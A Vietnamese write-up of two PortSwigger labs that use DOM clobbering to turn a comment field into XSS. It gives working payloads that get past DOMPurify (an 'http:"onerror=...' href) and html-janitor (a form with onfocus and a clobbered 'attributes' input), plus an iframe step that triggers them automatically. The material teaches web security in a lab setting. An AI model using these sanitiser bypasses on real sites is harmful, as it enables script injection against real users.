Lab: Exploiting DOM Clobbering to Enable XSS

Client side script dùng để render các comment có đoạn code như sau:

let defaultAvatar = window.defaultAvatar || { avatar: "/resources/images/avatarDefault.svg" }
let avatarImgHTML =
  '<img class="avatar" src="' +
  (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) +
  '">'
 
let divImgContainer = document.createElement("div")
divImgContainer.innerHTML = avatarImgHTML

Ta có thể sử dụng DOM Clobbering để kiểm soát window.defaultAvatar và sink nằm trong attribute context của thẻ <img>.

Sử dụng chức năng comment một bài post bất kỳ và comment nội dung sau:

<a id="defaultAvatar"></a>
<a id="defaultAvatar" name="avatar" href='x" onerror=alert(1337) x="'></a>

Nhận thấy ta đã clobber được window.defaultAvatar:

> window.defaultAvatar
HTMLCollection(2) [a#defaultAvatar, a#defaultAvatar, defaultAvatar: a#defaultAvatar, avatar: a#defaultAvatar]

Tuy nhiên, thẻ <img> vẫn nhận default avatar là /resources/images/avatarDefault.svg và payload mà ta truyền vào được render ra như sau:

<a id="defaultAvatar"></a>
<a href='x" onerror=alert(1337) x="' name="avatar" id="defaultAvatar"></a>

Có thể thấy, dấu nháy kép đã bị HTML encoded.

Hint

Đáp án của lab thực hiện HTML encode dấu nháy kép.

Để giải lab này, ta cần sử dụng payload sau:

<a id="defaultAvatar"></a>
<a id="defaultAvatar" name="avatar" href='http:"onerror=alert(1337)//'></a>

Trong payload trên, ta có thể bỏ closing tag và việc xuống dòng như sau để làm gọn payload:

<a id="defaultAvatar"
  ><a id="defaultAvatar" name="avatar" href='http:"onerror=alert(1337)//'></a
></a>

Tác dụng của http: là để bypass DOMPurify. Trong code của DOMPurify có đoạn sau:

, P = i(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i)

Rất có thể đây là các protocol mà DOM Purify cho phép. Ta sẽ sử dụng protocol là http:.

Nếu sử dụng một protocol không hợp lệ chẳng hạn như x thì toàn bộ src sẽ bị biến mất như sau:

<img class="avatar" src />

Important

Ngoài ra, để trigger payload, victim cần comment nội dung bất kỳ. Lý do cho việc này là tại thời điểm payload được render ra UI thì DOM mới bị clobbered chứ không bị clobbered ngay lập tức.

Phải đến vòng lặp thứ 2, sau khi innerHTML đã render ra payload và làm DOM bị clobbered rồi thì window.defaultAvatar mới khác undefined và có giá trị mà chúng ta muốn:

for (let i = 0; i < comments.length; ++i)
{
	comment = comments[i];
	let commentSection = document.createElement("section");
	commentSection.setAttribute("class", "comment");
 
	let firstPElement = document.createElement("p");
 
	let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
	let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
 
	let divImgContainer = document.createElement("div");
	divImgContainer.innerHTML = avatarImgHTML

Lab: Clobbering DOM Attributes to Bypass HTML Filters

Chúng ta có thể clobber thuộc tính attributes của các thẻ HTML. Nếu client-side script đưa ra quyết định dựa trên thuộc tính này thì có thể bị tấn công.

Ví dụ, xét payload sau:

<form onclick="alert(1)"><input id="attributes" />Click me</form>

Client-side script có thể thực hiện filter bằng cách lặp qua từng HTML element và từng attribute của element đó. Tuy nhiên, khi gặp thẻ form, nó sẽ đọc thuộc tính attributes mà đã bị clobbered và thay thế bằng thẻ <input>. Khi đó, nó sẽ lặp qua thẻ <input> và do thẻ này có undefined length nên vòng lặp sẽ chấm dứt. Dẫn đến, thuộc tính onclick ở trên thẻ <form> sẽ bị ignored.

Mục tiêu của lab này là gọi hàm print().

Đoạn script client-side dùng để load lên thư viện html-janitor:

let janitor = new HTMLJanitor({
  tags: { input: { name: true, type: true, value: true }, form: { id: true }, i: {}, b: {}, p: {} },
})

Constructor của thư viện:

function HTMLJanitor(config) {
  var tagDefinitions = config["tags"]
  var tags = Object.keys(tagDefinitions)
 
  var validConfigValues = tags
    .map(function (k) {
      return typeof tagDefinitions[k]
    })
    .every(function (type) {
      return type === "object" || type === "boolean" || type === "function"
    })
 
  if (!validConfigValues) {
    throw new Error("The configuration was invalid")
  }
 
  this.config = config
}

Có thể thấy, nó lặp qua các key của config và kiểm tra xem giá trị của các key này có phải là object, boolean hoặc function hay không.

Thư viện này sau đó sẽ đánh dấu các HTML node là cần xóa nếu chúng nằm trong black list:

var blockElementNames = ["P", "LI", "TD", "TH", "DIV", "H1", "H2", "H3", "H4", "H5", "H6", "PRE"]
function isBlockElement(node) {
  return blockElementNames.indexOf(node.nodeName) !== -1
}
 
var inlineElementNames = ["A", "B", "STRONG", "I", "EM", "SUB", "SUP", "U", "STRIKE"]
function isInlineElement(node) {
  return inlineElementNames.indexOf(node.nodeName) !== -1
}
 
// ...
var isInline = isInlineElement(node)
var containsBlockElement
if (isInline) {
  containsBlockElement = Array.prototype.some.call(node.childNodes, isBlockElement)
}
 
// ...
var isInvalid = isInline && containsBlockElement

Thư viện html-janitor cũng kiểm tra các attribute có trong node:

var allowedAttrs = getAllowedAttrs(this.config, nodeName, node);
 
// Drop tag entirely according to the whitelist *and* if the markup
// is invalid.
if (isInvalid || shouldRejectNode(node, allowedAttrs) || (!this.config.keepNestedBlockElements && isNestedBlockElement)) {
// Do not keep the inner text of SCRIPT/STYLE elements.
	if (! (node.nodeName === 'SCRIPT' || node.nodeName === 'STYLE')) {
		while (node.childNodes.length > 0) {
			parentNode.insertBefore(node.childNodes[0], node);
		}
	}
	parentNode.removeChild(node);
 
	this._sanitize(document, parentNode);
	break;
}
 
// Sanitize attributes
for (var a = 0; a < node.attributes.length; a += 1) {
	var attr = node.attributes[a];
 
	if (shouldRejectAttr(attr, allowedAttrs, node)) {
		node.removeAttribute(attr.name);
		// Shift the array to continue looping.
		a = a - 1;
	}
}
 
// ...
function getAllowedAttrs(config, nodeName, node){
	if (typeof config.tags[nodeName] === 'function') {
	  return config.tags[nodeName](node);
	} else {
	  return config.tags[nodeName];
	}
}
 
// ...
function shouldRejectAttr(attr, allowedAttrs, node){
	var attrName = attr.name.toLowerCase();
 
	if (allowedAttrs === true){
	  return false;
	} else if (typeof allowedAttrs[attrName] === 'function'){
	  return !allowedAttrs[attrName](attr.value, node);
	} else if (typeof allowedAttrs[attrName] === 'undefined'){
	  return true;
	} else if (allowedAttrs[attrName] === false) {
	  return true;
	} else if (typeof allowedAttrs[attrName] === 'string') {
	  return (allowedAttrs[attrName] !== attr.value);
	}
 
	return false;
}

Thuộc tính id của form cũng như là thuộc tính name, typevalue của input được phép sử dụng do được truyền vào config. Ngoài ra, html-janitor sanitize các thuộc tính dựa trên thuộc tính attributes của HTML node. Đây là 2 điều kiện mà ta có thể dùng để tấn công DOM clobbering.

Về phần source, ta sẽ inject vào tên của commenter do nó được rendered ra sử dụng innerHTML:

if (comment.author) {
  if (comment.website) {
    let websiteElement = document.createElement("a")
    websiteElement.setAttribute("id", "author")
    websiteElement.setAttribute("href", comment.website)
    firstPElement.appendChild(websiteElement)
  }
 
  let newInnerHtml = firstPElement.innerHTML + janitor.clean(comment.author)
  firstPElement.innerHTML = newInnerHtml
}

Ta sẽ dùng kỹ thuật DOM clobbering để ghi đè thuộc tính attributes bằng thẻ <input> ở trường Name khi thực hiện comment:

<form onclick="print()"><input id="attributes" /></form>

Khác với lab trước, ta không cần victim comment mà chỉ cần họ click vào thẻ <form> là đủ để trigger XSS payload.

Do bài lab yêu cầu payload tự động thực thi, ta sử dụng onfocus event từ XSS cheatsheet của Port Swigger.

<form id="x" tabindex="1" onfocus="print()"><input id="attributes" /></form>

Sau đó, sử dụng thẻ <iframe> để focus đến thẻ <form> thông qua fragment x:

<iframe
  src="https://0a340009039cf9e881fd5cfb007b0002.web-security-academy.net/post?postId=7"
  onload="setTimeout(() => this.src=this.src+'#x', 1000)"
></iframe>

Sử dụng setTimeout để đảm bảo <iframe> được rendered hoàn toàn (bao gồm thẻ <form> của chúng ta) trước khi thực thi payload.

Resources